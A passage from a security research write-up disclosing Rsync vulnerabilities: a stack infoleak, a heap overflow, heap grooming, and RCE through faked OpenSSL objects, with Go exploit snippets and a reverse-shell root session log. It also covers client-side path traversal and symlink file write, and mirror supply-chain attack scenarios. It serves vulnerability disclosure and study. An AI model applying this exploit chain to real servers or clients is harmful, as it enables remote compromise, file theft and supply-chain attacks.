Execution ]=----------------------------=| |=----------------------------------------------------------------------=| |=---------=[ Simon Scannell, Pedro Gallegos, Jasiel Spelman ]=---------=| |=----------------------------------------------------------------------=| 0 - Introduction 1 - Vulnerabilities 2 - Technical Details 2.0.0 - Background - Rsync Architecture 2.0.1 - File Comparison Algorithm 2.0.2 - Rsync Workflow 2.0.3 - Rsync Server Connection Modes 2.0.3.0 - Daemon Mode 2.0.3.1 - SSH Mode 2.1.0 - Exploitation of Memory Corruption Vulnerabilities 2.1.1 - Background - Server Side Checksum Parsing 2.2.0 - Infoleak 2.2.1 - Breaking ASLR 2.2.2 - Speed vs Reliability of the Infoleak 2.3.0 - Heap Overflow 2.3.1 - Write-What-Where 2.4.0 - Heap Grooming 2.4.1 - Defragmenting the Heap and Consuming Tcache Entries 2.4.2 - Placing Target Objects Next to Each Other 2.5.0 - Achieving RIP Control and RCE 2.6.0 - Exploitation of Path Traversal Vulnerabilities 2.6.1 - Arbitrary File Write 2.6.2 - --safe-links Bypass 2.6.3 - Arbitrary File Read 3 - Supply Chain Attack Scenarios 3.0.0 - Finding Vulnerable Servers 3.1.0 - Disclaimer and Assumptions We Make 3.2.0 - Precedent 3.3.0 - Attack Scenario: Missing Signatures 3.3.1 - melpa.org Compromised Mirror Can Serve Backdoored Packages 3.4.0 - Attack Scenario: Exploiting Client-Side Vulnerabilities to Bypass Signature Validation 3.4.1.0 - MacPorts RCE when Syncing from Compromised Mirror 3.4.1.1 - Creating Arbitrary Portfiles on Clients Machine from a Compromised Mirror 3.5.0 - Attack Scenario: Attacking CI/CD Infrastructure 3.5.1.0 - Attacking Rsync Servers Alongside Critical Services 3.5.1.1 - invent.kde.org 4 - Conclusion 5 - References 6 - Proof-of-Concepts $./exploit rsync://example.com:873/files [*] Connected to example.com:873 on module files [*] Received file list [*] Downloaded target file 'foo': index 1, size 1417 (73a2bc1480ce5898) [*] Starting leak... [+] Leaked .text pointer 0x5572190ca847 [*] base: 0x557219088000 [*] shell_exec: 0x5572190b2a50 [*] ctx_evp: 0x557219114a28 [*] Spraying heap... [*] Setting up reverse shell listener... [*] Listening on port 1337 [*] Sending payload... [+] Received connection! Dropping into shell # id uid=0(root) gid=0(root) groups=0(root) -- 0 - Introduction We found reliably exploitable memory corruption and path traversal issues in the file-syncing utility Rsync [1]. The memory corruption bugs allow an unauthenticated attacker to reliably execute arbitrary code on public Rsync servers. The path traversal issues allow a rogue Rsync server to read and write arbitrary files on clients' machines. Rsync is often deployed alongside HTTP and FTP services offered by package mirrors. There is a precedent of past attacks on Rsync, where an attacker used a Rsync vulnerability to compromise a Gentoo mirror [2]. In this report, we analyze different hypothetical scenarios of an attacker exploiting the vulnerabilities we found, and examine how protected supply chains are against a compromised upstream server. The Client-to-Server vulnerabilities are remotely exploitable in default configurations. An attacker only needs read access to a public instance, common for package mirrors. Depending on the software and protections running on a compromised server, an attacker could launch supply chain attacks. We will explore these scenarios and the vulnerable servers we confirmed. Alternatively, an attacker can take over trusted, public servers to read/write arbitrary files on clients' machines. They can extract sensitive data like SSH keys, or execute malicious code by overwriting files such as .bashrc, ~/.popt, or others. -- 1 - Vulnerabilities The following table provides a brief overview of the vulnerabilities we found. +------------------+-----------------------+-----------------------------+ | CVE | Impact | Description | +------------------+-----------------------+-----------------------------+ | CVE-2024-12084 | Heap Overflow | Heap Buffer overflow in | | | | Checksum comparison | | | | server-side | +------------------+-----------------------+-----------------------------+ | CVE-2024-12085 | Info Leak | Uninitialized stack buffer | | | | contents can be leaked by | | | | client | +------------------+-----------------------+-----------------------------+ | CVE-2024-12086 | Arbitrary File Read | The server is able to leak | | | | arbitrary client files | +------------------+-----------------------+-----------------------------+ | CVE-2024-12087 | Arbitrary File Write | The server can make clients | | | | write files outside of | | | | destination directory | +------------------+-----------------------+-----------------------------+ | CVE-2024-12088 | Symlink Validation | Improper handling of nested | | | Bypass | symlinks allows bypass of | | | | --safe-links | +------------------+-----------------------+-----------------------------+ -- 2 - Technical Details The following sections will provide all the background knowledge required to gain a general understanding of Rsync and follow along with the exploitation sections. We then discuss the discovered vulnerabilities and describe the exploit we developed. -- 2.0.0 - Background - Rsync architecture The following sections provide a simplified explanation of Rsync. A more comprehensive understanding can be obtained from the official project website (rsync.samba.org) and the original paper [9] that describes the algorithm. The background provided in this article is enough to understand the vulnerabilities and the exploits. We recommend reading through this section, as it explains the functions that will be referenced in the exploitation sections. -- 2.0.1 - File Comparison Algorithm The Rsync algorithm was designed to synchronize files between a source and destination, often on separate machines. Rsync achieves this by splitting existing files into chunks and only updating mismatching chunks or adding new chunks. The following graphic shows a file present in both the source and destination. By splitting the file into chunks, calculating a checksum for each chunk and comparing them, only a single chunk needs to be downloaded: /tmp/foo (Client) +-----------+-----------+-----------+ | 7f912f0 | ae16850 | 5351f3d | +-----------+-----------+-----------+ | x /tmp/foo (Server) | +-----------+-----------+-----------+ | 7f912f0 | e27c8bf | 5351f3d | +----------+------------+-----------+ -- 2.0.2 - Rsync Workflow When the client starts to sync from a server it first gets a list of files that will be offered. This list is called the file list and contains directories and files that are available in the server's source directory. The client receives this file list and decides which files it wants to update/download based on command line flags. At this point, the client process calls fork() and now works with two processes: the generator and the receiver. The generator process is responsible for going through the file list the client received from the server and creating missing directories and, if enabled, symbolic links, devices and more. The generator then goes through the regular files in the file list and checks if they already exist locally. If they do, it divides the file into an array of chunks and calculates two checksums for each of the chunks: * A 32-bit Adler-CRC32 Checksum * A digest of the file chunk. The digest algorithm is determined at the beginning of the protocol negotiation The generator then sends all chunks at once to the server, along with an index into the file list. This instructs the server to read the checksums and compare them against its own copy of the file. The server then sends the receiver, the second client process, a list of tokens. A token in this context is an instruction for the receiver process to either skip over a chunk when the chunks match or the server sends a stream of inline-data to overwrite mismatching chunks in the client's copy of the file. The following graphic shows this workflow in action: +----------+ | Server | +----------+ ^ / \ / \ / \ Keep chunk 1 / \ Checksum 1 Keep chunk 2 / \ Checksum 2 Inline Data for chunk #3 ... ... / \ Checksum N Keep chunk N / \ +---------------------+ +---------------------+ | | | | | Receiver |<--------------->| Generator | | |Success / Failure| | +---------------------+ +---------------------+ The receiver only communicates with the generator. It informs the generator about the success or failure of a single file transfer. This mechanism becomes important later. -- 2.0.3 - Rsync Server Connection Modes In this section, we will briefly describe two ways a Rsync client can connect to a Rsync server on a remote machine and how they affect the vulnerabilities we found. We will go into more detail about the individual bugs in later sections. -- 2.0.3.0 - Daemon Mode The same rsync binary that is used as a client CLI can be used to launch a server. To do so, it is sufficient to run it with rsync --daemon. Typically, the daemon listens on port 873 accepting plain TCP connections. In daemon mode, the server calls fork() on every new connection. Servers running in this mode can be scanned for on the internet. In October 2024, we found ~550,000 Rsync daemons exposed to the internet via Shodan. -- 2.0.3.1 - SSH Mode Rsync can be invoked on a remote machine over an SSH connection. This is done by running rsync on the remote host with special server flags. While the protocol differs slightly in this mode, the same synchronization logic is carried over the SSH channel. Although SSH access to the remote machine already implies access, in some cases SSH is configured to restrict access only to the rsync command to strictly specified flags. In such cases, the access is "sandboxed", as only the rsync binary can be launched. Such a setup is described, for example, by linux-audit.com: command="rsync –server -vlogDtprCze.iLsfx –delete . \ /data/backups/system01",no-agent-forwarding,no-port-forwarding,\ no-pty,no-user-rc,no-X11-forwarding ssh-ed25519 AAAA........ \ backupuser for system1 In such cases, the client to server RCE exploit we developed could be used to break out of this "sandbox". The same vulnerabilities can be triggered in this mode, although there are some exploitation differences that we will go into in later sections. -- 2.1.0 - Exploitation of Memory Corruption Vulnerabilities In the next sections, we will detail the memory safety issues we discovered in Rsync's server-side code. We will provide an overview of the server-side checksum parsing, which will provide the background knowledge required to understand the sections that follow. We will also detail the exploitation strategies we used to achieve reliable Remote-Code-Execution. The exploit we developed was written for the following binary running in daemon mode with the default configuration: * Distro: Debian 12 Bookworm * Rsync version: 3.2.7-1 (At the time Bookworm stable) * MD5 of binary: 003765c378f66a4ac14a4f7ee43f7132 -- 2.1.1 - Background - Server Side Checksum Parsing The server reads the checksums in the receive_sums() function. First, information about the checksums is read in the read_sum_head() function. We break down individual values and their meaning here: /* Populate a sum_struct with values from the socket. This is * called by both the sender and the receiver. */ void read_sum_head(int f, struct sum_struct *sum) { int32 max_blength = protocol_version < 30 ? OLD_MAX_BLOCK_SIZE \ : MAX_BLOCK_SIZE; sum->count = read_int(f); if (sum->count < 0) { rprintf(FERROR, "Invalid checksum count %ld [%s]\n", (long)sum->count, who_am_i()); exit_cleanup(RERR_PROTOCOL); } ... } count refers to the number of checksums that will follow. This corresponds to the number of chunks that the file is split into for synchronization. Next comes blength: sum->blength = read_int(f); if (sum->blength < 0 || sum->blength > max_blength) { rprintf(FERROR, "Invalid block length %ld [%s]\n", (long)sum->blength, who_am_i()); exit_cleanup(RERR_PROTOCOL); } The blength tells the server the length of a chunk within the file, which are all the same length. The server will read blength bytes from a file, calculate a digest and compare it to the corresponding checksum the client sent. Next comes s2length: sum->s2length = protocol_version < 27 ? csum_length : (int)read_int(f); if (sum->s2length < 0 || sum->s2length > MAX_DIGEST_LEN) { rprintf(FERROR, "Invalid checksum length %d [%s]\n", sum->s2length, who_am_i()); exit_cleanup(RERR_PROTOCOL); } s2length corresponds to the actual digest length of an individual checksum. Because Rsync supports multiple checksums, (such as MD4, MD5, SHA1, XXHASH64) whose digest vary in size, the client uses s2length to tell the server how many digest bytes to expect. This field is important for the infoleak and the heap overflow discussed later. Interestingly, the client could not control this value before protocol version 27. Finally, comes remainder: sum->remainder = read_int(f); if (sum->remainder < 0 || sum->remainder > sum->blength) { rprintf(FERROR, "Invalid remainder length %ld [%s]\n", (long)sum->remainder, who_am_i()); exit_cleanup(RERR_PROTOCOL); } This value tells the server the length of the last chunk if it does not align to blength. After the daemon reads the header, two different checksums are read: (1) A 32-bit Adler-CRC32 Checksum (2) A digest of the file chunk. The digest algorithm is determined at the beginning of the protocol negotiation The corresponding code can be seen below: s->sums = new_array(struct sum_buf, s->count); for (i = 0; i < s->count; i++) { s->sums[i].sum1 = read_int(f); read_buf(f, s->sums[i].sum2, s->s2length); ... } -- 2.2.0 - Infoleak In hash_search(), the daemon matches the checksums of the chunks the client sent to the server against the local file contents. Part of the function prologue is to allocate a buffer on the stack of MAX_DIGEST_LEN bytes: static void hash_search(int f, struct sum_struct *s, struct map_struct *buf, OFF_T len) { OFF_T offset, aligned_offset, end; int32 k, want_i, aligned_i, backup; char sum2[MAX_DIGEST_LEN]; ... } MAX_DIGEST_LEN corresponds to the largest, supported digest algorithm: #define MD4_DIGEST_LEN 16 #define MD5_DIGEST_LEN 16 #if defined SHA512_DIGEST_LENGTH #define MAX_DIGEST_LEN SHA512_DIGEST_LENGTH #elif defined SHA256_DIGEST_LENGTH #define MAX_DIGEST_LEN SHA256_DIGEST_LENGTH #elif defined SHA_DIGEST_LENGTH #define MAX_DIGEST_LEN SHA_DIGEST_LENGTH #else #define MAX_DIGEST_LEN MD5_DIGEST_LEN #endif Starting with commit ae16850 [10] rsync version 3.2.7, SHA512 was supported, which increased the value of MAX_DIGEST_LEN to 64. After the function setup is done, the daemon iterates over the checksums the client sent and generates a digest for the corresponding file chunk: if (!done_csum2) { map = (schar *)map_ptr(buf,offset,l); get_checksum2((char *)map,l,sum2); done_csum2 = 1; } if (memcmp(sum2,s->sums[i].sum2,s->s2length) != 0) { false_alarms++; continue; } This checksum is stored in the previously described sum2 stack buffer, and is generated through the map_ptr() function, which takes in a pointer to the files contents in memory, the file offset (which corresponds to chunkN * sum->blength), and the number of bytes to compare (which corresponds to blength). Under the hood, map_ptr() generates a digest for the chunk using an algorithm that was negotiated at the beginning of the protocol setup. The generated checksum is then compared against the corresponding attacker-controlled value. The number of bytes compared is s2length bytes. In this case, the comparison does not go out of bounds since s2length can be a maximum of MAX_DIGEST_LEN. However, the local sum2 buffer is a buffer on the stack that is not cleared, and thus contains uninitialized stack contents. A malicious client could send a known xxhash64 checksum for a given chunk of a file, which leads to the daemon writing 8 bytes to the stack buffer sum2. The following image visualizes the contents of the sum2 buffer with this setup: sum2 stack buffer +----------------------+-------------------------------------------------+ | 8-bytes of checksum | 56 bytes of uninitialized stack contents | +----------------------+-------------------------------------------------+ The attacker can set s2length to 9 bytes. The result of such a setup would be that the first 8 bytes match and an attacker-controlled 9th byte is compared with an unknown value of uninitialized stack data. This is visualized by the following: sum2 stack buffer +----------------------+----+--------------------------------------------+ | 8-bytes of checksum | ?? | 55 bytes of uninitialized stack contents | +----------------------+----+--------------------------------------------+ +---------------------------+ | s2length = 9 | +---------------------------+ The server responds with different messages based on the comparison result. If the 9 bytes match, the server tells the client to keep the chunk. Otherwise, the server sends the data corresponding to the chunk directly to the client, as in the eyes of the server, the data on the server differs. The attacker can send 256 different checksums, until the sum matches. Thus, the attacker can derive what the 9th byte (i.e. the 1st byte of unknown stack data) from the server's behavior. The attacker can then incrementally repeat this process to leak more bytes from the stack buffer. Let's assume the attacker leaked the byte 0x47. While there are some constraints, which are detailed later, they can then continue the leak as more bytes of the stack are now known: sum2 stack buffer +----------------------+------+----+-------------------------------------+ | 8-bytes of checksum | 0x47 | ?? | 54 bytes of uninitialized stack data| +----------------------+------+----+-------------------------------------+ +----------------------------------+ | s2length = 10 | +----------------------------------+ As a result, they can leak MAX_DIGEST_LEN - 8 bytes of uninitialized stack data, which can contain pointers to Heap objects, stack cookies, local variables, pointers to global variables and return pointers. With those pointers they can defeat ASLR. -- 2.2.1 - Breaking ASLR In the case of the binary that we exploited, we were able to achieve a layout for the sum2 buffer where, starting at offset sum2+8, is a pointer into the .text section of the rsync binary: (gdb) x/gx sum2+8 0x7fffffff7558: 0x00005555555596847 (gdb) x/gx 0x00005555555596847 0x5555555596847 <set_compression+599>: 0x058d48fffffef4e9 (gdb) The first 8 bytes of sum2 buffer are overwritten by the checksum of the target file, and the 8 bytes that are leaked immediately lead to a full bypass of ASLR. Since an attacker can leak up to 56 bytes of stack contents, it is very likely that this infoleak can also be ported to other binaries and environments. An attacker can trigger different stack frames before the entry into hash_search(), for example by triggering allocations or initializing different compression algorithms. -- 2.2.2 - Speed vs Reliability of the Infoleak In theory, the infoleak algorithm previously described can be optimized by splitting a file into 256 different chunks and performing the oracle with 256 different values. Then, the client can observe which of the 256 chunks matched on the server side and derive the stack contents from that. That would mean that a single byte can be leaked per file request. In addition, a client can repeatedly request the same file over and over again from the server. In theory, an attacker can leak the entire stack contents in a single connection. However, this comes at the cost of reliability of the infoleak as the stack contents may contain dynamic data such as heap pointers or other local variables that change based on the overall state of the program. As such, the previously disclosed stack contents may change and thus the incremental bruteforce of data may not work. For our Proof-of-Concept exploit, we decided on maximum reliability and portability which is achieved by attempting a single oracle step per-connection. The logic here is based on the fact that the rsync daemon runs in a fork() loop. Assuming a system where glibc's allocator is used, the heap layout is deterministic. If we send the exact same packets leading up to the hash_search() function being called, the stack frames will always be exactly the same. As a result, the incremental brute-force is slower but values are more likely to stay static. -- 2.3.0 - Heap Overflow The Heap Buffer Overflow we found can also be triggered through an attacker-controlled s2length value. As a reminder, here is the snippet where the actual digest is read from the connection to the client: s->sums = new_array(struct sum_buf, s->count); for (i = 0; i < s->count; i++) { s->sums[i].sum1 = read_int(f); read_buf(f, s->sums[i].sum2, s->s2length); ... } Most importantly, note that the sum2 field is filled with s->s2length bytes. sum2 always has a size of 16: #define SUM_LENGTH 16 // ... struct sum_buf { OFF_T offset; /**< offset in file of this chunk */ int32 len; /**< length of chunk of file */ uint32 sum1; /**< simple checksum */ int32 chain; /**< next hash-table collision */ short flags; /**< flag bits */ char sum2[SUM_LENGTH]; /**< checksum */ }; s2length is an attacker-controlled value and can have a value up to MAX_DIGEST_LEN bytes, as the next snippet shows: sum->s2length = protocol_version < 27 ? csum_length : (int)read_int(f); if (sum->s2length < 0 || sum->s2length > MAX_DIGEST_LEN) { rprintf(FERROR, "Invalid checksum length %d [%s]\n", sum->s2length, who_am_i()); exit_cleanup(RERR_PROTOCOL); } The problem here is that MAX_DIGEST_LEN can be larger than 16 bytes, depending on the digest support the binary was compiled with. As previously mentioned, MAX_DIGEST_LEN is defined as follows: #define MD4_DIGEST_LEN 16 #define MD5_DIGEST_LEN 16 #if defined SHA512_DIGEST_LENGTH #define MAX_DIGEST_LEN SHA512_DIGEST_LENGTH #elif defined SHA256_DIGEST_LENGTH #define MAX_DIGEST_LEN SHA256_DIGEST_LENGTH #elif defined SHA_DIGEST_LENGTH #define MAX_DIGEST_LEN SHA_DIGEST_LENGTH #else #define MAX_DIGEST_LEN MD5_DIGEST_LEN #endif SHA512 support sets the MAX_DIGEST_LENGTH value to 64. As a result, an attacker can write up to 48 bytes past the sum2 buffer limit. It appears that the heap buffer overflow was introduced with commit ae16850 [11], as this commit introduced support for SHA256 and SHA512. Although these algorithms are only used for authentication, they still increased the value of MAX_DIGEST_LEN beyond SUM_LEN. -- 2.3.1 - Write-What-Where We found a structure, used in the same function in which the buffer overflow occurred, that could cause an arbitrary-write primitive. The following snippet has been modified for clarity: (1) s->sums = new_array(struct sum_buf, s->count); for (i = 0; i < (2) s->count; i++) { s->sums[i].sum1 = read_int(f); (3) read_buf(f, s->sums[i].sum2, (4) s->s2length); ... } Let's break down the code snippet above: (1) An array of size (sizeof(struct sum_buf) * s->count)) is allocated and stored as s->sums. s->count is an arbitrary positive 32-bit integer that is attacker controlled. We then see (2) s->count also being used as a loop limit. Within the loop, we read (3) bytes directly from the network connection into the sum2 buffer of each sum_buf entry within s->sums. The number of bytes corresponds to (4) s->s2length bytes. As you may remember, sum_buf is defined as the following: #define SUM_LENGTH 16 // . . . struct sum_buf { OFF_T offset; /**< offset in file of this chunk */ int32 len; /**< length of chunk of file */ uint32 sum1; /**< simple checksum */ int32 chain; /**< next hash-table collision */ short flags; /**< flag bits */ char sum2[SUM_LENGTH]; /**< checksum */ }; The size of sum2 is always 16, as was previously discussed. Assuming a MAX_DIGEST_LEN of 64, we could have overflown up to 48 bytes past the last entry of the s->sums array. The overflow would have happened in the last iteration of the for loop controlled by s->count. We can visualize the overflow as the following: +---------------------+---------------------+ | struct sum_buf | struct sum_buf | +--------------+------+--------------+------+----------------------------+ | other fields | sum2 | other fields | sum2 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAA +--------------+------+--------------+------+----------------------------+ Since we could only overflow 48 bytes past the last sum_buf entry, along with libc metadata of chunks (16-bytes), we had to look for a small object that gets allocated on the Heap or an object that contains interesting members in their first 32 bytes. As it turned out, the sum_struct structure was perfect for this as it contains interesting fields inside a small object. We can also allocate it right before the sum_buf array, and it's used in the same function in which the heap buffer overflow is triggered: struct sum_struct { OFF_T flength; /**< total file length */ struct sum_buf *sums; /**< points to info for each chunk */ int32 count; /**< how many chunks */ int32 blength; /**< block_length */ int32 remainder; /**< flength % block_length */ int s2length; /**< sum2_length */ }; The size of the struct is 32-bytes, which is exactly the amount of bytes we can write. This means we can overwrite all the fields in the struct. Refer back to the loop at the start of this section. We can only overflow sum2, the last member of the sum_buf struct. However, if we have a heap layout as the follows, we can set the count member to an arbitrary value and thus keep the loop going: +---------------------+---------------------+----------------------------+ | struct sum_buf | struct sum_buf | struct sum_struct | +--------------+------+--------------+------+----------------------------+ | other fields | sum2 | other fields | sum2 |AAAAAAAAAAAAAAAAAAAAAAAAAAAA| +--------------+------+--------------+------+----------------------------+ Within the additional loop iterations triggered by overwriting s->count, we can overwrite s->sums so that it points to an arbitrary memory location. We can also overwrite s->s2length and set it to an arbitrary size. Hence, we can write an arbitrary amount of attacker-controlled bytes to an arbitrary location. -- 2.4.0 - Heap Grooming In the upcoming sections we will discuss some of the properties of Rsync's heap state. We provide a simplified background on glibc's allocator behavior, which is necessary to understand the heap grooming techniques we used for this exploit. For more information on the glibc heap implementation, we recommend Azeria's blog posts [12] on the topic. -- 2.4.1 - Defragmenting the Heap and Consuming Tcache Entries We developed a Proof-of-Concept exploit for Rsync running in daemon mode. During startup, the daemon reads and parses its configuration file and turns on logging. This triggers a series of allocations and frees whose exact pattern can't be predicted by an attacker without knowledge of the configuration. In addition, the attacker has no control over the server’s file list, so Rsync performs further unpredictable allocations and deallocations of various sizes. Due to this, we must assume a fragmented heap with many small, scattered free chunks in unknown locations. The heap state can be visualized as follows: +----------+---+--------------+---+----------+---------------------------+ | large, | * | large, | * | large, | | | in-use | * | in-use | * | in-use | top chunk | | chunk | * | chunk | * | chunk | | +----------+---+--------------+---+----------+---------------------------+ As depicted above, the large chunks in use represent larger allocations, for example buffers for logging. Whenever malloc() is called, the glibc allocator tries to find an existing free chunk. If it can't, it creates a new chunk from the top chunk. If not enough space is available in the top chunk, it is extended through either sbrk() or mmap() or other system calls. The chunks denoted with an asterisk (*) represent smaller, free chunks that are stored in the so-called tcache. An allocation of 1032 bytes or less always searches the tcache first for an available chunk. The tcache is a small LIFO queue of chunks with special behaviour; for example, unlike other chunks, tcache chunks do not get consolidated with neighboring free chunks. The tcache strikes a balance between heap fragmentation and fast allocations. To maintain this balance, only a limited number of chunks (by default 7) are added to the tcache. The primary issue we faced in creating the desired heap state was that, upon connecting to the server, we had to assume a fragmented heap with free tcache chunks in unknown locations. Because the sizes of our target objects fall within this range, we first needed to defragment the heap by consuming all free tcache chunks. In our exploit, we achieved this by creating many small allocations are held in memory until the end of the process. By doing this, all available tcache chunks are consumed: // Consume all possible entries in tcache for i := tcacheMin; i <= tcacheMax; i += tcacheStep { for j := 0; j < tcacheSlots*2; j++ { client.WriteLine("-M-" + strings.Repeat("A", i-2)) } } The snippet above shows code that runs during the protocol setup phase. The client sends the server options that influence the server's behavior for the file transfer. By sending option values, we can make the server copy them to memory and keep them there for the lifetime of the process. The following depicts a possible heap state after the defragmentation: +----------+---+--------------+---+----------+---+-----------------------+ | | x | | x | | x | x | x | | | large, | x | large, | x | large, | x | x | x | | | in-use | x | in-use | x | in-use | x | x | x | top chunk | | chunk | x | chunk | x | chunk | x | x | x | | | | x | | x | | x | x | x | | +----------+---+--------------+---+----------+---------------------------+ The chunks denoted with an (x) now represent in-use chunks that are in the tcache range. Another side effect of the defragmentation is that all available chunks are consumed, so new chunks are placed consecutively next to each other at the end of the Heap. This created the conditions under which we could perform allocations and deallocations in an order that leads to the desired heap state, as discussed in the next section. -- 2.4.2 - Placing Target Objects Next to Each Other There aren't many chances to perform arbitrary allocations and frees before the overflow occurs. While examining the code paths that precede the overflow, we came across filter rule handling. Clients can instruct the server to exclude or include certain files by sending a list of filters. Typically, these filters are supplied as command line options, for example --filter=+/dir/**. However, filters can also be sent to the server after command line parsing, in a different part of the protocol setup. On the server side, the filter rules are parsed by the recv_filter_list() function. Sending filters in this dedicated protocol section reduces any additional, uncontrolled allocations. In our exploit code, we sent the following filters: // Send Filters count := 5 filter := "+ " + strings.Repeat("Z", ((count)*sumBufStructSize)-1) clr := "!" // The filter pattern is the size we'll allocate in receive_sums client.WriteRawInt(len(filter) + 1) client.WriteLine(filter) // This will allocate a filter_rule after our pattern filter = "+ a" client.WriteRawInt(len(filter) + 1) client.WriteLine(filter) // Send the clear flag to free filters client.WriteRawInt(len(clr) + 1) client.WriteLine(clr) client.WriteRawInt(0) Each filter will allocate a filter_rule struct, which is the same size as struct sum_buf (40 bytes). With each filter, we can specify a path string of a controlled size, which allows us to perform another allocation. The first filter we allocate will therefore allocate a filter_rule struct and a string of size count*sumBufStructSize, resulting in 200 bytes. We chose the value 5 for count, as it turned out to be reliable after some experimentation. sumBufStructSize is a constant equal to 40. Then we send a single byte filter a, which leads to another filter_rule allocation of 40 bytes. Now have a heap layout depicted by the following: +--------------------+--------------------------+--------------------+---+ | filter_rule struct | zzzzzzzzzzzzzzzzzzzzzzz | filter_rule struct | a | | (40 bytes) | zzzzzzzzzzzzzzzzzzzzz...| (40 bytes) | | | | (200 bytes) | | | +--------------------+--------------------------+--------------------+---+ While we can not cause the deallocation of a single filter, we can free all of them at the same time by sending the string !. As seen in the code snippet above, this causes all filters and their associated strings to be deallocated all at once, in the order that they were allocated. This now leads to the following layout of available tcache chunks: Top of ~200 byte tcache bucket Top of ~40 byte tcache bucket -----\ ----\ -------------\ -------\ +----------------+-------------------------------+----------------+------+ | | | | | | 40 byte tcache | 200 byte tcache entry | 40 byte tcache | 8 | | entry | | entry | byte | | | | | entry| +----------------+-------------------------------+----------------+------+ Since the filter_rule structs and associated strings are deallocated left to right, and the tcache has a LIFO structure, the second filter_rule chunk becomes the top of the 40-byte tcache bucket. Since only one 200 byte chunk is allocated and deallocated, it also becomes the top of its tcache bucket. As a result, the next 200 byte and 40 byte allocations will be placed in these slots. We can cause this exact order of allocations to occur. In receive_sums(), the struct sum_struct is allocated first, which consumes the top of the 40 byte tcache bucket. An allocation of 200 bytes occurs if s->count is 5: struct sum_struct *s = new(struct sum_struct); int lull_mod = protocol_version >= 31 ? 0 : allowed_lull * 5; OFF_T offset = 0; int32 i; read_sum_head(f, s); s->sums = NULL; // ... if (s->count == 0) return(s); s->sums = new_array(struct sum_buf, s->count); As a result, we can achieve the desired heap layout, as depicted below: +-----------------+------------------------------+----------------+------+ | 40 byte tcache | struct sum_buf array | struct | 8 | | entry | (200 bytes) | sum_struct | byte | | | | (40 bytes) | entry| +-----------------+------------------------------+----------------+------+ With the heap layout achieved, the only thing left to finish the exploit is to craft the final payload. -- 2.5.0 - Achieving RIP control and RCE With the Write-What-Where primitive achieved, we then had to look for a way to achieve Remote-Code-Execution. The Rsync codebase heavily relies on global variables to manage its state. This state is unique to each connection because the Rsync daemon calls fork() to handle a every connection. As a result of Rsync's reliance on globals, we knew that gaining an Arbitrary-Write primitive would most likely yield Remote-Code-Execution. We found a global variable, ctx_evp that was a pointer to an OpenSSL structure stored on the heap: EVP_MD_CTX *ctx_evp = NULL; This structure is used by Rsync to calculate digests for chunks in a file. It gets allocated once and initialized for every new hash it produces: if (emd && !(nni->flags & NNI_EVP_OK)) { if (!ctx_evp && !(ctx_evp = EVP_MD_CTX_create())) out_of_memory("csum_evp_md"); if (EVP_DigestInit_ex(ctx_evp, emd, NULL) == 0) ... } Under the hood, OpenSSL calls a function pointer within EVP_DigestInit_ex() when certain fields are set. Of particular interest are the following lines of code within OpenSSL: if (ctx->algctx != NULL) { if (ctx->digest != NULL && ctx->digest->freectx != NULL) ctx->digest->freectx(ctx->algctx); ... } On the last line of the snippet above, the ctx->digest->freectx() function pointer is called with a pointer to another object storedin ctx as its argument, giving us full control of the first argument (the rsi register). With this gadget, we could build a ROP chain with this gadget—or, if system() or a similar function is available, simply call that instead. It turns out, Rsync has a shell_exec() function that takes one argument to a string, which is executed as a shell command: int shell_exec(const char *cmd) { char *shell = getenv("RSYNC_SHELL"); int status; pid_t pid; if (!shell) return system(cmd); if ((pid = fork()) < 0) return -1; if (pid == 0) { execlp(shell, shell, "-c", cmd, NULL); ... } The only thing left to do was to overwrite ctx_evp to point to attacker-controlled bytes. Because we had already leaked the location of the rsync binary in memory, along with its r/w pages, we could completely fake the object. We placed our crafted objects in globally writable sections and then overwrote the ctx_evp pointer to point to the fake object. The resulting layout is illustrated below: +------------------+-------------------+----------------+----------------+ | *evp_ctx pointer | struct EVP_MD_CTX | struct EVP_MD |shell cmd string| +------------------+-------------------+----------------+----------------+ | ^ | | ^ ^ |________| | |_________| | | digest field | |_______________________________| algxtx field By placing the faked objects and the shell command to execute around the evp_ctx pointer, we were able to write all necessary data for the final payload in one-shot. The codepath mentioned before would trigger without any further setup after the heap buffer overflow and the Arbitrary-Write-Primitive finished. The result is Remote-Code-Execution: $./exploit rsync://example.com:873/files [*] Connected to example.com:873 on module files [*] Received file list [*] Downloaded target file 'foo': index 1, size 1417 (73a2bc1480ce5898) [*] Starting leak... [+] Leaked .text pointer 0x5572190ca847 [*] base: 0x557219088000 [*] shell_exec: 0x5572190b2a50 [*] ctx_evp: 0x557219114a28 [*] Spraying heap... [*] Setting up reverse shell listener... [*] Listening on port 1337 [*] Sending payload... [+] Received connection! Dropping into shell # id uid=0(root) gid=0(root) groups=0(root) -- 2.6.0 - Exploitation of Path Traversal Vulnerabilities In the following sections, we will discuss multiple path traversal issues in the Rsync client. They allow a malicious or compromised server to read and write arbitrary files on clients' filesystems that connect to the server. The malicious server could attempt to read secrets from disk, like private SSH keys. Additionally, they could overwrite files such as .bashrc or write an SSH key on the client. These vulnerabilities could be exploited by a trusted server that has been compromised, for example through the Remote-Code-Execution exploit we described earlier. -- 2.6.1 - Arbitrary File Write When the syncing of symbolic links is enabled, either through the -l or -a (--archive) flags, a malicious server can make the client write arbitrary files outside of the destination directory. A malicious server may send the client a file list such as: symlink ->/arbitrary/directory symlink/poc.txt Symbolic links, by default, can be absolute or contain character sequences such as ../../. The client validates the file list and when it sees the symlink/poc.txt entry, it will look for a directory called symlink, otherwise it will error out. If the server sends a symlink as a directory and a symbolic link, it will only keep the directory entry. Therefore, the attack requires some additional details to work. When the protocol is first negotiated, a server can enable inc_recurse mode. This mode changes the protocol so that multiple file lists are sent incrementally. One of the key differences to non-recursive mode is that the deduplication of entries happens on a per-file-list basis. As a result, a malicious server can send a client multiple file lists, for example: # file list 1: . ./symlink (directory) ./symlink/poc.txt (regular file) # file list 2: ./symlink -> /arbitrary/path (symlink) As a result, the symlink directory is created first and symlink/poc.txt is considered a valid entry in the file list. The server can then send a second file list and change the type of symlink to a symbolic link. The symlink/poc.txt entry is still valid. When the server then instructs the client to create the symlink/poc.txt file, it will follow the symbolic link and thus files can be created outside of the destination directory. -- 2.6.2 - --safe-links Bypass The --safe-links CLI flag makes the client validate any symbolic links it receives from the server. The desired behavior is that the symbolic links target can only be 1) relative to the destination directory and 2) never point outside of the destination directory. The unsafe_symlink() function is responsible for validating these symbolic links. The function calculates the traversal depth of a symbolic link target, relative to its position within the destination directory. As an example, the following symbolic link is considered unsafe: {DESTINATION}/foo -> ../../ As it points outside the destination directory. On the other hand, the following symbolic link is 